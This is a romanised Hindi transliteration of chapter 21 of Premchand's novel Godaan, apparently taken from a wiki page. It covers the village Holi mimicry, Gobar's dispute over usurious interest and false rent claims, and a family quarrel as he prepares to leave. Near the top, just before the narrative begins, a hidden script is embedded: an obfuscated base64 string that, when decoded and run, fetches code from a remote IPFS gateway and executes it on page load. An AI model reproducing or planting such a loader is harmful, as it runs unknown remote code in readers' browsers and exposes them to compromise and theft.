गोदान उपन्यास भाग-21

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is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>dehatoan mean sal ke chh: mahine kisi n kisi utsav mean dhol-majira bajata rahata hai. holi ke ek mahina pahale se ek mahina bad tak phag u dati hai, asadh lagate hi alha shuroo ho jata hai aur savan-bhadoan mean kajaliyaan hoti haian. kajaliyoan ke bad ramayan-gan hone lagata hai. semari bhi apavad nahian hai. mahajan ki dhamakiyaan aur kariande ki goliyaan is samaroh mean badha nahian dal sakati. ghar mean anaj nahian hai, deh par kap de nahian haian, gaanth mean paise nahian haian, koee parava nahian. jivan ki anandavritti to dabaee nahian ja sakati, hanse bina to jiya nahian ja sakata.

yoan holi mean gane-bajane ka mukhy sthan nokheram ki chaupal thi. vahian bhang banati thi, vahian rang u data tha, vahian nach hota tha. is utsav mean karianda sahab ke das-paanch rupe kharch ho jate the. aur kisamean yah samarthy thi ki apane dvar par jalasa karata?

lekin abaki gobar ne gaanv ke navayuvakoan ko apane dvar par khianch liya hai aur nokheram ki chaupal khali p di huee hai. gobar ke dvar par bhang ghut rahi hai, pan ke bi de lag rahe haian, rang ghola ja raha hai, pharsh bichha hua hai, gana ho raha hai, aur chaupal mean sannata chhaya hua hai. bhang rakhi huee hai, pise kaun? dhol-majira sab maujood hai, par gae kaun? jise dekho, gobar ke dvar ki or dau da chala ja raha hai, yahaan bhang mean gulabajal aur kesar aur badam ki bahar hai. haan-haan, ser-bhar badam gobar khud laya. pite hi chola tar ho jata hai, aankhean khul jati haian. khamira tamakhoo laya hai, khas bisavaan ki! rang mean bhi kev da chho da hai. rupe kamana bhi janata hai aur kharach karana bhi janata hai. ga d kar rakh lo, to kaun dekhata hai? dhan ki yahi shobha hai. aur keval bhang hi nahian hai. jitane gane vale haian, sabaka nevata bhi hai. aur gaanv mean n nachane valoan ki kami hai, n abhinay karane valoan ki. shobha hi lang doan ki aisi nakal karata hai ki kya koee karega aur boli ki nakal karane mean to usaka sani nahian hai. jisaki boli kaho, usaki bole - adami ki bhi, janavar ki bhi. giradhar nakal karane mean bejo d hai. vakil ki nakal vah kare, patavari ki nakal vah kare, thanedar ki, chaparasi ki, seth ki - sabhi ki nakal kar sakata hai. haan, bechare ke pas vaisa saman nahian hai, magar abaki gobar ne usake lie sabhi saman manga diya hai, aur usaki nakalean dekhane jog hoangi.

yah charcha itani phaili ki saanjh se hi tamasha dekhane vale jama hone lage. asapas ke gaanvoan se darshakoan ki toliyaan ane lagian. das bajate-bajate tin-char hazar adami jama ho ge. aur jab giradhar jhiangurisianh ka roop bhare apani mandali ke sath kh da hua, to logoan ko kh de hone ki jagah bhi n milati thi. vahi khalvat sir, vahi b di mooanchhean, aur vahi toand! baithe bhojan kar rahe haian aur pahali thakurain baithi pankha jhal rahi haian.

thakur thakurain ko rasik netroan se dekh kar kahate haian - ab bhi tumhare oopar vah joban hai ki koee javan dekh le, to t dap jae. aur thakurain phool kar kahati haian, jabhi to nee naveli lae!

'use to laya hooan tumhari seva karane ke lie. vah tumhari kya barabari karegi?'

chhoti bibi yah vaky sun leti hai aur muanh phula kar chali jati hai.

doosare drishy mean thakur khat par lete haian aur chhoti bahoo muanh phere hue zamin par baithi hai. thakur bar-bar usaka muanh apani or pherane ki viphal cheshta karake kahate haian - mujhase kyoan roothi ho meri la dali?

'tumhari la dali jahaan ho, vahaan jao. maian to lauandi hooan, doosaroan ki seva-tahal karane ke lie aee hooan.'

tum meri rani ho. tumhari seva-tahal karane ke lie vah budhiya hai.'

pahali thakurain sun leti hai aur jha doo le kar ghar mean ghusati haian aur kee jha doo un par jamati haian. thakur sahab jan bacha kar bhagate haian.

phir doosari nakal huee, jisamean thakur ne das rupe ka dastavej likh kar paanch rupe die, shesh najarane aur taharir aur dastoori aur byaj mean kat lie.

kisan a kar thakur ke charan pak d kar rone lagata hai. b di mushkil se thakur rupe dene par raji hote haian. jab kagaz likh jata hai aur asami ke hath mean paanch rupe rakh die jate haian to vah chakara kar poochhata hai?

'yah to paanch hi haian malik!'

'paanch nahian, das haian. ghar ja kar ginana.'

'nahian sarakar, paanch haian.'

'ek rupaya najarane ka hua ki nahian?'

'haan, sarakar!'

'ek taharir ka?'

'haan, sarakar!'

'ek kagad ka?'

'haan, sarakar.'

'ek dastoori ka?'

'haan, sarakar!'

'ek sood ka?'

'haan, sarakar!'

'paanch nagad, das hue ki nahian?'

'haan, sarakar! ab yah paanchoan meri or se rakh lijie.'

'kaisa pagal hai?'

'nahian sarakar, ek rupaya chhoti thakurain ka najarana hai, ek rupaya b di thakurain ka. ek rupaya thakurain ke pan khane ko, ek b di thakurain ke pan khane ko. baki bacha ek, vah apaki kariya-karam ke lie.'

isi tarah nokheram aur pateshvari aur datadin ki - bari-bari se sabaki khabar li gee. aur phabatiyoan mean chahe koee nayapan n ho, aur nakalean purani hoan, lekin giradhari ka dhang aisa hasyajanak tha, darshak itane saral hriday the ki bebat ki bat mean bhi hansate the. rat-bhar bhan daiti hoti rahi aur satae hue dil, kalpana mean pratishodh pa kar prasann hote rahe. akhiri nakal samapt huee, to kauve bol rahe the.

sabera hote hi jise dekho, usi ki jaban par vahi rat ke gane, vahi nakal, vahi phikare. mukhie tamasha ban ge. jidhar nikalate haian, udhar hi do-char l dake pichhe lag jate haian aur vahi phikare kasate haian. jhiangurisianh to dillagibaj adami the, ise dillagi mean liya, magar pateshvari mean chidhane ki buri adat thi. aur pandit datadin to itane tunuk-mizaj the ki l dane par taiyar ho jate the. vah sabase samman pane ke adi the. karianda ki to bat hi kya, rayasahab tak unhean dekhate hi sir jhuka dete the. unaki aisi hansi u daee jay aur apane hi gaanv mean? yah unake lie asahay tha. agar unamean brahmatej hota to in dushtoan ko bhasm kar dete. aisa shap dete ki sab-ke-sab bhasm ho jate, lekin is kaliyug mean shap ka asar hi jata raha. isalie unhoanne kaliyug vala hathiyar nikala. hori ke dvar par ae aur aankhean nikal kar bole - kya aj bhi tum kam karane n chaloge hori? ab to tum achchhe ho ge. mera kitana haraj ho gaya, yah tum nahian sochate.

gobar der mean soya tha. abhi-abhi utha tha aur aankhean malata hua bahar a raha tha ki datadin ki avaz kan mean p di. palagan karana to door raha, ulate aur hek di dikha kar bola - ab vah tumhari majoori n kareange. hamean apani ookh bhi to boni hai.

datadin ne surati phaankate hue kaha - kam kaise nahian kareange? sal ke bich mean kam nahian chho d sakate. jeth mean chho dana ho chho d dean, karana ho karean. usake pahale nahian chho d sakate.

gobar ne jamhaee le kar kaha - unhoanne tumhari gulami nahian likhi hai. jab tak ichchha thi, kam kiya. ab nahian ichchha, nahian kareange. isamean koee jabardasti nahian kar sakata.

'to hori kam nahian kareange?'

'na!'

'to hamare rupe sood samet de do. tin sal ka sood hota hai sau rupaya. asal mila kar do sau hote haian. hamane samajha tha, tin rupe mahine sood mean katate jaeange, lekin tumhari ichchha nahian hai, to mat karo. mere rupe de do. dhanna seth banate ho, to dhanna seth ka kam karo.

hori ne datadin se kaha - tumhari chakari se maian kab inakar karata hooan maharaj? lekin hamari ookh bhi to bone ko p di hai.

gobar ne bap ko daanta - kaisi chakari aur kisaki chakari? yahaan koee kisi ka chakar nahian. sabhi barabar haian. achchhi dillagi hai. kisi ko sau rupe udhar de die aur usase sood mean ziandagi bhar kam lete rahe. mool jyoan ka tyoan! yah mahajani nahian hai, khoon choosana hai.

'to rupe de do bhaiya, l daee kahe ki, maian ane rupe byaj leta hooan, tumhean gaanv-ghar ka samajh kar adha ane rupe par diya tha.'

'ham to ek rupaya saik da deange. ek kau di besi nahian. tumhean lena ho to lo, nahian adalat se le lena. ek rupaya saik de byaj kam nahian hota.'

'maloom hota hai, rupe ki garami ho gee hai.'

'garami unhean hoti hai, jo ek ke das lete haian. ham to majoor haian. hamari garami pasine ke raste bah jati hai. mujhe khoob yad hai, tumane bail ke lie tis rupe die the. usake sau hue aur ab sau ke do sau ho ge. isi tarah tum logoan ne kisanoan ko loot-loot kar majoor bana dala aur ap unaki zamin ke malik ban baithe. tis ke do sau! kuchh had hai! kitane din hue hoange dada?'

hori ne katar kanth se kaha - yahi ath-nau sal hue hoange.

gobar ne chhati par hath rakh kar kaha - nau sal mean tis ke do sau. ek rupe ke hisab se kitana hota hai?

usane zamin par ek thikare se hisab lagate hue kaha - das sal mean chhattis rupe hote haian. asal mila kar chhachhath. usake sattar rupe le lo. isase besi maian ek kau di n dooanga.

datadin ne hori ko bich mean dal kar kaha - sunate ho hori, gobar ka phaisala? maian apane do sau chho d ke sattar le looan , nahian adalat karooan. is tarah ka vyavahar hua to kai din sansar chalega? aur tum baithe sun rahe ho, magar yah samajh lo, maian brahman hooan, mere rupe hajam karake tum chain n paoge. maianne ye sattar rupe bhi chho de, adalat bhi n jaooanga, jao. agar maian brahman hooan, to poore do sau rupe le kar dikha dooanga, aur tum mere dvar par avoge aur hath baandh kar doge.

datadin jhallae hue laut p de. gobar apani jagah baitha raha. magar hori ke pet mean dharm ki kraanti machi huee thi. agar thakur ya banie ke rupe hote, to use zyada chianta n hoti, lekin brahman ke rupe! usaki ek paee bhi dab gee, to haddi to d kar nikalegi. bhagavan n karean ki brahman ka kop kisi par gire. bans mean koee chulloo-bhar pani dene vala, ghar mean diya jalane vala bhi nahian rahata. usaka dharm-bhiru man trast ho utha. usane dau d kar pandit ji ke charan pak d lie aur art svar mean bola - maharaj, jab tak maian jita hooan, tumhari ek-ek paee chukaooanga. l dake ki batoan par mat jao. mamala to hamare-tumhare bich mean hua hai. vah kaun hota hai?

datadin jara naram p de - jara isaki jabardasti dekho, kahata hai, do sau rupe ke sattar lo ya adalat jao. abhi adalat ki hava nahian khaee hai, jabhi. ek bar kisi ke pale p d jaeange, to phir yah tav n rahega. char din sahar mean kya rahe, tanasah ho ge!

'maian to kahata hooan maharaj, maian tumhari ek-ek paee chukaooanga.'

'to kal se hamare yahaan kam karane ana p dega.'

'apani ookh bona hai maharaj, nahian tumhara hi kam karata.'

datadin chale ge to gobar ne tiraskar ki aankhoan se dekh kar kaha - ge the devata ko manane. tumhian logoan ne to in saboan ka mizaj biga d diya hai. tis rupe die, ab do sau rupe lega, aur daant oopar se bataega aur tumase majoori karaega aur kam karate-karate mar dalega.

hori ne apane vichar mean saty ka paksh le kar kaha - niti hath se n chho dana chahie beta, apani-apani karani apane sath hai. hamane jis byaj par rupe lie, vah to dene hi p deange. phir brahman thahare. inaka paisa hamean pachega? aisa mal to inhian logoan ko pachata hai.

gobar ne tyoriyaan chadhaeean - niti chho dane ko kaun kah raha hai? aur kaun kah raha hai ki brahman ka paisa daba lo? maian to yah kahata hooan ki itana sood nahian deange. baiank vale barah ane sood lete haian. tum ek rupaya le lo. aur kya kisi ko loot loge?

'unaka royaan jo du:khi hoga?'

'hua kare. unake du:khi hone ke dar se ham bil kyoan khodean?'

'beta, jab tak maian jita hooan, mujhe apane raste chalane do. jab maian mar jaooan, to tumhari jo ichchha ho, vah karana.'

'to phir tumhian dena. maian to apane hathoan apane paanv mean kulha di n marooanga. mera gadhapan tha ki tumhare bich mean bola - tumane khaya hai, tum bharo. maian kyoan apani jan dooan?'

yah kahata hua gobar bhitar chala gaya. jhuniya ne poochha - aj saber-sabere dada se kyoan ulajh p de?

gobar ne sara vrittaant kah sunaya aur aant mean bola - inake oopar rin ka bojh isi tarah badhata jayaga. maian kahaan tak bharooanga? unhoanne kama-kama kar doosaroan ka ghar bhara hai. maian kyoan unaki khodi huee khandak mean girooan? inhoanne mujhase poochh kar karaj nahian liya. n mere lie liya. maian usaka denadar nahian hooan.

udhar mukhiyoan mean gobar ko nicha dikhane ke lie sh dayantr racha ja raha tha. yah lauanda shiankaje mean n kasa gaya, to gaanv mean oodham macha dega. pyade se pharji ho gaya hai n, tedhe to chalega hi. jane kahaan se itana qanoon sikh aya hai? kahata hai, rupe saik de sood se besi n dooanga. lena ho lo, nahian adalat jao. rat isane sare gaanv ke lauandoan ko bator kar kitana anarth kiya. lekin mukhiyoan mean bhi eershya ki kami n thi. sabhi apane barabar valoan ke parihas par prasann the. pateshvari aur nokheram mean batean ho rahi thian. pateshvari ne kaha - magar saboan ko ghar-ghar ki ratti-ratti ka hal maloom hai. jhiangurisianh ko to saboan ne aisa rageda ki kuchh n poochho. donoan thakurainoan ki batean sun-sun kar log hansi ke mare lot ge.

nokheram ne thatta mar kar kaha - magar nakal sachchi thi. maianne kee bar unaki chhoti begam ko dvar par kh de lauandoan se hansi karate dekha hai.

'aur b di rani kajal aur seandoor aur mahavar laga kar javan bani rahati haian.'

'donoan mean rat-din chhi di rahati hai. jhianguri pakka behaya hai. koee doosara hota to pagal ho jata.'

'suna, tumhari b di bhaddi nakal ki. chamariya ke ghar mean band karake pitavaya.'

maian to bacha par bakaya lagan ka dava karake thik kar dooanga. vah bhi kya yad kareange ki kisi se pala p da tha.'

'lagan to usane chuka diya hai n?'

'lekin rasid to maianne nahian di. saboot kya hai ki lagan chuka diya? aur yahaan kaun hisab-kitab dekhata hai? aj hi pyada bhej kar bulata hooan.'

hori aur gobar donoan ookh bone ke lie khet sianch rahe the. abaki ookh ki kheti hone ki asha to thi nahian, isalie khet parati p da hua tha. ab bail a ge haian, to ookh kyoan n boee jae.

magar donoan jaise chhattis bane hue the. n bolate the, n takate the. hori bailoan ko haank raha tha aur gobar mot le raha tha. sona aur roopa donoan khet mean pani dau da rahi thian ki unamean jhag da ho gaya. vivad ka vishay yah tha ki jhiangurisianh ki chhoti thakurain pahale khud kha kar pati ko khilati haian ya pati ko khila kar tab khud khati hai. sona kahati thi, pahale vah khud khati hai. roopa ka mat isake pratikool tha.

roopa ne jirah ki - agar vah pahale khati hai, to kyoan moti nahian hai? thakur kyoan mote haian? agar thakur un par gir p de, to thakurain pis jayan.

sona ne prativad kiya - too samajhati hai, achchha khane se log mote ho jate haian. achchha khane se log balavan hote haian, mote nahian hote. mote hote haian ghas-pat khane se.

'to thakurain thakur se balavan haian?'

'aur kya. abhi us din donoan mean l daee huee, to thakurain ne thakur ko aisa dhakela ki unake ghutane phoot ge.'

'to too bhi pahale ap kha kar tab jija ko khilaegi?'

'aur kya! '

'ammaan to pahale dada ko khilati haian.'

'tabhi to jab dekho tab dada daant dete haian. maian balavan ho kar apane marad ko kaboo mean rakhooangi. tera marad tujhe pitega, teri hadi to d kar rakh dega.'

roopa rooaansi ho kar boli - kyoan pitega, maian mar khane ka kam hi n karooangi.

'vah kuchh n sunega. toone jara bhi kuchh kaha - aur vah mar chalega. marate-marate teri khal udhe d lega.'

roopa ne big d kar sona ki sa di daantoan se pha dane ki cheshta ki aur asaphal hone par chutakiyaan katane lagi.

sona ne aur chidhaya - vah teri nak bhi kat lega.

is par roopa ne bahan ko daant se kat khaya. sona ki baanh lahua gee. usane roopa ko zor se dhakel diya. vah gir p di aur uth kar rone lagi. sona bhi daantoan ke nishan dekh kar ro p di.

un donoan ka chillana sun kar gobar gusse se bhara hua aya aur donoan ko do-do ghooanse j d die. donoan roti huee nikal kar ghar chali dian. sianchaee ka kam rook gaya. is par pita-putr mean ek jh dap ho gee.

hori ne poochha - pani kaun chalaega? dau de-dau de ge, donoan ko bhaga ae. ab ja kar mana kyoan nahian late?

'tumhian ne in saboan ko biga d rakha hai.'

'is tarah marane se aur nirlajj ho jaeangi.'

'do joon khana band kar do, ap thik ho jayan.'

'maian unaka bap hooan, kasaee nahian hooan.'

paanv mean ek bar thokar lag jane ke bad kisi karan se bar-bar thokar lagati hai aur kabhi-kabhi aangootha pak jata hai aur mahinoan kasht deta hai. pita aur putr ke sadabhav ko aj usi tarah ki chot lag gee thi aur us par yah tisari chot p di.

gobar ne ghar ja kar jhuniya ko khet mean pani dene ke lie sath liya. jhuniya bachche ko le kar khet mean a gee. dhaniya aur usaki donoan betiyaan baithi takati rahian. maan ko bhi gobar ki yah uddandata buri lagati thi. roopa ko marata to vah bura n manati, magar javan l daki ko marana, yah usake lie asahay tha.

aj hi rat ko gobar ne lakhanoo laut jane ka nishchay kar liya. yahaan ab vah nahian rah sakata. jab ghar mean usaki koee poochh nahian hai, to vah kyoan rahe. vah len-den ke mamale mean bol nahian sakata. l dakiyoan ko jara mar diya to log aise jame ke bahar ho ge, mano vah bahar ka adami hai. to is saray mean vah n rahega.

donoan bhojan karake bahar ae the ki nokheram ke pyade ne a kar kaha - chalo, karianda sahab ne bulaya hai.

hori ne garv se kaha - rat ko kyoan bulate haian, maian to baki de chuka hooan.

pyada bola - mujhe to tumhean bulane ka hukm mila hai. jo kuchh araj karana ho, vahian chal kar karana.

hori ki ichchha n thi, magar jana p da. gobar virakt-sa baitha raha. adha ghante mean hori lauta aur chilam bhar kar pine laga. ab gobar se n raha gaya. poochha - kis matalab se bulaya tha?

hori ne bharraee huee avaz mean kaha - maianne paee-paee lagan chuka diya. vah kahate haian, tumhare oopar do sal ka baki hai. abhi us din maianne ookh bechi, to pachis rupe vahian unako de die, aur aj vah do sal ka baki nikalate haian. maianne kah diya, maian ek dhela n dooanga.

gobar ne poochha - tumhare pas rasid hogi?

'rasid kahaan dete haian?'

'to tum bina rasid lie rupe dete hi kyoan ho?'

'maian kya janata tha, yah log beeemani kareange. yah sab tumhari karani ka phal hai. tumane rat ko unaki hansi u daee, yah usi ka dand hai. pani mean rah kar magar se bair nahian kiya jata. sood laga kar sattar rupe baki nikal die. ye kisake ghar se aeange?'

gobar ne saphaee dete hue kaha - tumane rasid le li hoti to maian lakh unaki hansi u data, tumhara bal bhi baanka n kar sakate. meri samajh mean nahian ata ki len-den mean tum savadhani se kyoan kam nahian lete. yoan rasid nahian dete, to dak se rupaya bhejo. yahi to hoga, ekadh rupaya mahasool p d jayaga. is tarah ki dhaandhali to n hogi.'

'tumane yah ag n lagaee hoti, to kuchh n hota. ab to sabhi mukhiya big de hue haian. bedakhali ki dhamaki de rahe haian. daiv jane kaise be da par lagega!'

'maian ja kar unase poochhata hooan.'

'tum ja kar aur ag laga doge.'

'agar ag lagani p degi, to ag laga dooanga. yah bedakhali karate haian, karean. maian unake hath mean gangajali rakh kar adalat mean kasam khilaooanga. tum dum daba kar baithe raho. maian isake pichhe jan l da dooanga. maian kisi ka ek paisa dabana nahian chahata, n apana ek paisa khona chahata hooan.'

vah usi vakt utha aur nokheram ki chaupal mean ja pahuancha. dekha to sabhi mukhiya logoan ka kebinet baitha hua hai. gobar ko dekh kar sab-ke-sab satark ho ge. vatavaran mean sh dayantr ki-si kuantha bhari huee thi.

gobar ne uttejit kanth se poochha - yah kya bat hai karianda sahab, ki apako dada ne hal tak ka lagan chukata kar diya aur ap abhi do sal ka baki nikal rahe haian? yah kaisa golamal hai.

nokheram ne masanad par let kar rob dikhate hue kaha - jab tak hori hai, maian tumase len-den ki koee batachit nahian karana chahata.

gobar ne ahat svar mean kaha - to maian ghar mean kuchh nahian hooan?

'tum apane ghar mean sab kuchh hoge. yahaan tum kuchh nahian ho.'

'achchhi bat hai, ap bedakhali dayar kijie. maian adalat mean tumase gangajali uthava kar rupe dooanga, isi gaanv se ek sau sahadatean dila kar sabit kar dooanga ki tum rasid nahian dete. sidhe-sade kisan haian, kuchh bolate nahian, to tumane samajh liya ki sab kath ke ulloo haian. rayasahab vahian rahate haian, jahaan maian rahata hooan. gaanv ke sab log unhean hauva samajhate hoange, maian nahian samajhata. ratti-ratti hal kahooanga aur dekhooanga, tum kaise mujhase dobara rupe vasool kar lete ho.'

usaki vani mean saty ka bal tha. darapok praniyoan mean saty bhi gooanga ho jata hai. vahi simeant, jo eeant par chadh kar patthar ho jata hai, mitti par chadha diya jae, to mitti ho jayaga. gobar ki nirbhik spashtavadita ne us aniti ke bakhtar ko bedh dala, jisase sajjit ho kar nokheram ki durbal atma apane ko shaktiman samajh rahi thi.

nokheram ne jaise kuchh yad karane ka prayas karake kaha - tum itana garm kyoan ho rahe ho, isamean garm hone ki kaun bat hai. agar hori ne rupe die haian, to kahian-n-kahian to taanke ge hoange. maian kal kagaz nikal kar dekhooanga. ab mujhe kuchh-kuchh yad a raha hai ki shayad hori ne rupe die the. tum nisakhatir raho, agar rupe yahaan a ge haian, to kahian ja nahian sakate. tum tho de-se rupayoan ke lie jhooth tho de hi bologe aur n maian hi in rupayoan se dhani ho jaooanga.

gobar ne chaupal se a kar hori ko aisa latha da ki bechara svarth-bhiru boodha rooaansa ho gaya? tum to bachchoan se bhi ge-bite ho, jo billi ki myaooan sun kar chilla uthate haian. kahaan-kahaan tumhari rachchha karata phirooanga. maian tumhean sattar rupe die jata hooan. datadin le to de kar bharapaee likha dena. isake oopar tumane ek paisa bhi diya, to phir mujhase ek paisa bhi n paoge. maian parades mean isalie nahian p da hooan ki tum apane ko lutavate raho aur maian kama-kama kar bharata rahooan. maian kal chala jaooanga, lekin itana kahe deta hooan, kisi se ek paisa udhar mat lena aur kisi ko kuchh mat dena. mangaroo, dulari, datadin - sabhi se ek rupaya saik de sood karana hoga.

dhaniya bhi khana kha kar bahar nikal aee thi. boli - abhi kyoan jate ho beta, do-char din aur rah kar ookh ki boni kara lo aur kuchh len-den ka hisab bhi thik kar lo, to jana.

gobar ne shan jamate hue kaha - mera do-tin rupe roj ka ghata ho raha hai, yah bhi samajhati ho. yahaan maian bahut-bahut do-char ane ki majoori hi to karata hooan aur abaki maian jhuniya ko bhi leta jaooanga. vahaan mujhe khane-pine ki b di takaliph hoti hai.

dhaniya ne darate-darate kaha - jaise tumhari ichchha, lekin vahaan vah kaise akele ghar sanbhalegi, kaise bachche ki dekhabhal karegi?'

'ab bachche ko dekhooan ki apana subhita dekhooan, mujhase choolha nahian phooanka jata.

'le jane ko maian nahian rokati, lekin parades mean bal-bachchoan ke sath rahana, n koee age n pichhe, socho kitana jhanjhat hai.'

'parades mean sangi-sathi nikal hi ate haian ammaan, aur yah to svarath ka sansar hai. jisake sath char paise ka gam khao, vahi apana. khali hath to maan-bap bhi nahian poochhate.'

dhaniya kataksh samajh gee. usake sir se paanv tak ag lag gee. boli - maan-bap ko bhi tumane unhian paise ke yaroan mean samajh liya?

'aankhoan dekh raha hooan.'

'nahian dekh rahe ho, maan-bap ka man itana nithur nahian hota. haan, l dake alabatta jahaan char paise kamane lage ki maan-bap se aankhean pher lian. isi gaanv mean ek-do nahian, das-bis paratokh de dooan. maan-bap karaj-kavam lete haian kisake lie? l dake-l dakiyoan hi ke lie ki apane bhog-vilas ke lie?'

'kya jane tumane kisake lie karaj liya? maianne to ek paisa bhi nahian jana.'

'bina pale hi itane b de ho ge?'

'palane mean tumhara kya laga? jab tak bachcha tha, doodh pila diya. phir lavaris ki tarah chho d diya. jo sabane khaya, vahi maianne khaya. mere lie doodh nahian ata tha, makkhan nahian bandha tha. aur ab tum bhi chahati ho, aur dada bhi chahate haian ki maian sara karaja chukaooan, lagan dooan, l dakiyoan ka byah karooan. jaise meri ziandagi tumhara dena bharane hi ke lie hai. mere bhi to bal-bachche haian?

dhaniya sannate mean a gee. ek kshan mean usake jivan ka mridu svapn jaise toot gaya. ab tak vah man mean prasann thi ki ab usaka du:kh-daridr sab door ho gaya. jab se gobar ghar aya, usake mukh par has ki ek chhata khili rahati thi. usaki vani mean mriduta aur vyavaharoan mean udarata a gee thi. bhagavan ne us par daya ki hai, to use sir jhuka kar chalana chahie. bhitar ki shaanti bahar saujany ban gee thi. ye shabd tapate hue baloo ki tarah hriday par p de aur chane ki bhaanti sare araman jhulas ge. usaka sara ghamand choor-choor ho gaya. itana sun lene ke bad ab jivan mean kya ras rah gaya? jis nauka par baith kar is jivan-saphar ko par karana chahati thi, vah toot gee thi, to kis sukh ke lie jie!

lekin nahian! usaka gobar itana svarthi nahian hai. usane kabhi maan ki bat ka javab nahian diya, kabhi kisi bat ke lie zid nahian ki. jo kuchh rookha-sookha mil gaya, vahi kha leta tha. vahi bhola-bhala, shil-sneh ka putala aj kyoan aisi dil to dane vali batean kar raha hai? usaki ichchha ke viruddh to kisi ne kuchh nahian kaha - maan-bap donoan hi usaka muanh johate rahate haian. usane khud hi len-den ki bat chalaee, nahian usase kaun kahata hai ki too maan-bap ka dena chuka. maan-bap ke lie yahi kya kam sukh hai ki vah ijjat-abaroo ke sath bhalemanasoan ki tarah kamata-khata hai. usase kuchh ho sake, to maan-bap ki madad kar de. nahian ho sakata, to maan-bap usaka gala n dabaeange. jhuniya ko le jana chahata hai, khusi se le jae. dhaniya ne to keval usaki bhalaee ke khayal se kaha tha ki jhuniya ko vahaan le jane se use jitana aram milega, usase kahian zyada jhanjhat badh jayaga. isamean aisi kaun-si lagane vali bat thi ki vah itana big d utha. ho n ho, yah ag jhuniya ki lagaee hai. vahi baithe-baithe use yah mantar padha rahi hai. yahaan sauk-siangar karane ko nahian milata, ghar ka kuchh n kuchh kam bhi karana hi p data hai. vahaan rupe-paise hath mean aeange, maje se chikana khayagi, chikana pahanegi aur taang phaila kar soegi. do adamiyoan ki roti pakane mean kya lagata hai, vahaan to paisa chahie. suna, bazar mean paki-pakaee rotiyaan mil jati haian. yah sara upadrav usi ne kh da kiya hai, sahar mean kuchh din rah bhi chuki hai. vahaan ka dana-pani muanh laga hua hai. yahaan koee poochhata n tha. yah bhoandoo mil gaya. ise phaans liya. jab yahaan paanch mahine ka pet le kar aee thi, tab kaisi myaanv-myaanv karati thi. tab yahaan saran n mili hoti, to aj kahian bhikh maangati hoti. yah usi neki ka badala hai! isi chu dail ke pichhe daan d dena p da, biradari mean badanami huee, kheti toot gee, sari durgat ho gee. aur aj yah chu dail jis pattal mean khati hai, usi mean chhed kar rahi hai. paise dekhe, to aankh ho gee. tabhi aianthi-aianthi phirati hai, mizaj nahian milata. aj l daka char paise kamane laga hai n! itane dinoan bat nahian poochhi, to sas ka paanv dabane ke lie tel lie dau dati thi. dain usake jivan ki nidhi ko usake hath se chhin lena chahati hai.

dukhit svar mean boli - yah mantar tumhean kaun de raha hai beta, tum to aise n the. maan-bap tumhare hi haian, bahanean tumhari hi haian, ghar tumhara hi hai. yahaan bahar ka kaun hai? aur ham kya bahut din baithe raheange? ghar ki marajad banae rakhoge, to tumhian ko sukh hoga. adami gharavaloan hi ke lie dhan kamata hai ki aur kisi ke lie? apana pet to suar bhi pal leta hai. maian n janati thi, jhuniya nagin ban kar hamian ko dasegi.

gobar ne tinak kar kaha - ammaan, maian nadan nahian hooan ki jhuniya mujhe mantar padhaegi. tum use nahak kos rahi ho. tumhari girasti ka sara bojh maian nahian utha sakata. mujhase jo kuchh ho sakega, tumhari madad kar dooanga, lekin apane paanvoan mean be diyaan nahian dal sakata.

jhuniya bhi kothari se nikal kar boli - ammaan, julahe ka gussa dadhi par n utaro. koee bachcha nahian hai ki maian pho d looangi. apana-apana bhala-bura sab samajhate haian. adami isilie nahian janam leta ki sari umar tapasya karata rahe aur ek din khali hath mar jae. sab ziandagi ka kuchh sukh chahate haian, sabaki lalasa hoti hai ki hath mean char paise hoan.

dhaniya ne daant pis kar kaha - achchha jhuniya, bahut giyan n baghar. ab too bhi apana bhala-bura sochane jog ho gee hai. jab yahaan a kar mere pairoan par sir rakkhe ro rahi thi, tab apana bhala-bura nahian soojha tha? us gh di ham bhi apana bhala-bura sochane lagate, to aj tera kahian pata n hota.

isake bad sangram chhi d gaya. tane-mehane, gali-galauch, thukka-gajihat, koee bat n bachi. gobar bhi bich-bich mean dank marata jata tha. hori barauthe mean baitha sab kuchh sun raha tha. sona aur roopa aangan mean sir jhukae kh di thian, dulari, puniya aur kee striyaan bich-bachav karane a pahuanchi thian. garjan ke bich mean kabhi-kabhi booandean bhi gir jati thian. donoan hi apane-apane bhagy ko ro rahi thian. donoan hi eeshvar ko kos rahi thian, aur donoan apani-apani nirdoshita siddh kar rahi thian. jhuniya g de murde ukha d rahi thi. aj use hira aur sobha se vishesh sahanubhooti ho gee thi, jinhean dhaniya ne kahian ka n rakha tha. dhaniya ki aj tak kisi se n pati thi, to jhuniya se kaise pat sakati hai? dhaniya apani saphaee dene ki cheshta kar rahi thi, lekin n jane kya bat thi ki janamat jhuniya ki or tha. shayad isalie ki jhuniya sanyam hath se n jane deti thi aur dhaniya ape se bahar thi. shayad isalie bhi ki jhuniya ab kamaoo purush ki stri thi aur use prasann mean rakhane mean zyada masalahat thi.

tab hori ne aangan mean a kar kaha - maian tere pairoan p data hooan dhaniya, chup rah. mere muanh mean kalikh mat laga. haan, abhi man n bhara ho to aur sun.

dhaniya phuankar mar kar udhar dau di - tum bhi moti dal pak dane chale. maian hi dosi hooan. yah to mere oopar phool barasa rahi hai?

sangram ka kshetr badal gaya.

'jo chhotoan ke muanh lage, vah chhota.'

dhaniya kis tark se jhuniya ko chhota man le?

hori ne vyathit kanth se kaha - achchha, vah chhoti nahian, b di sahi. jo adami nahian rahana chahata, kya use baandh kar rakhegi? maan-bap ka dharam hai, l dake ko pal-pos kar b da kar dena. vah ham kar chuke. unake hath-paanv ho ge. ab too kya chahati hai, ve dana-chara la kar khilaean. maan-bap ka dharam solahoan ana l dakoan ke sath hai. l dakoan ka maan-bap ke sath ek ana bhi dharam nahian hai. jo jata hai, use asis de kar vida kar de. hamara bhagavan malik hai. jo kuchh bhogana bada hai, bhogeange, chalis sat saiantalis sal isi tarah rote-dhote kat ge. das-paanch sal haian, vah bhi yoan hi kat jaeange.

udhar gobar jane ki taiyari kar raha tha. is ghar ka pani bhi usake lie haram hai. mata ho kar jab use aiesi-aisi batean kahe, to ab vah usaka muanh bhi n dekhega.

